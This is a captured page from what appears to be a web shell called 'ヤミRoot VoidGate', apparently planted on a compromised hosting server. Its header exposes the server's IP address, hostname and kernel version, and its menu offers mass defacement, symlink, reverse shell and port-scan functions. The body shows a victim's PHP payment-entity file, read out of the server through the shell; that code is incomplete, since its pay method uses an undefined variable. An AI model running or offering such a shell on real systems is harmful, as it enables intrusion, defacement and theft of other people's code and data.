ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Entity
/
Viewing: PaymentService.php
<?php namespace AppBundle\Entity; use Doctrine\ORM\Mapping as ORM; use JMS\Serializer\Annotation as Serializer; use AppBundle\Entity\Payment; /** * PaymentService * * @ORM\Table(name="payment_service") * @ORM\Entity(repositoryClass="AppBundle\Repository\PaymentServiceRepository") */ class PaymentService { const TYPE_CASH = "cash_payment"; const TYPE_ELECTRONIC = "e_payment"; /** * @var int * * @ORM\Column(name="id", type="integer") * @ORM\Id * @ORM\GeneratedValue(strategy="AUTO") * @Serializer\Groups({"LIST"}) */ private $paymentServiceId; /** * @var string * * @ORM\Column(name="service_name", type="string", length=255) * @Serializer\Groups({"LIST"}) */ private $serviceName; /** * @var string * * @ORM\Column(name="type", type="string", length=255) * @Serializer\Groups({"LIST"}) */ private $type; public function __construct ($serviceName, $type) { $this->serviceName = $serviceName; $this->type = $type; } public function pay($booking, $paymentAmount, $operator) { //TODO here set the logic of the pay fonction $payment = new Payment(); $payment->setBooking($booking); $payment->setAmount($paymentAmount); $payment->setPaymentService( $paymentService); $payment->setOperator( $operator); } /** * Get paymentServiceId * * @return integer */ public function getPaymentServiceId() { return $this->paymentServiceId; } /** * Set serviceName * * @param string $serviceName * * @return PaymentService */ public function setServiceName($serviceName) { $this->serviceName = $serviceName; return $this; } /** * Get serviceName * * @return string */ public function getServiceName() { return $this->serviceName; } /** * Set type * * @param string $type * * @return PaymentService */ public function setType($type) { $this->type = $type; return $this; } /** * Get type * * @return string */ public function getType() { return $this->type; } }
Coded With 💗 by
0x6ick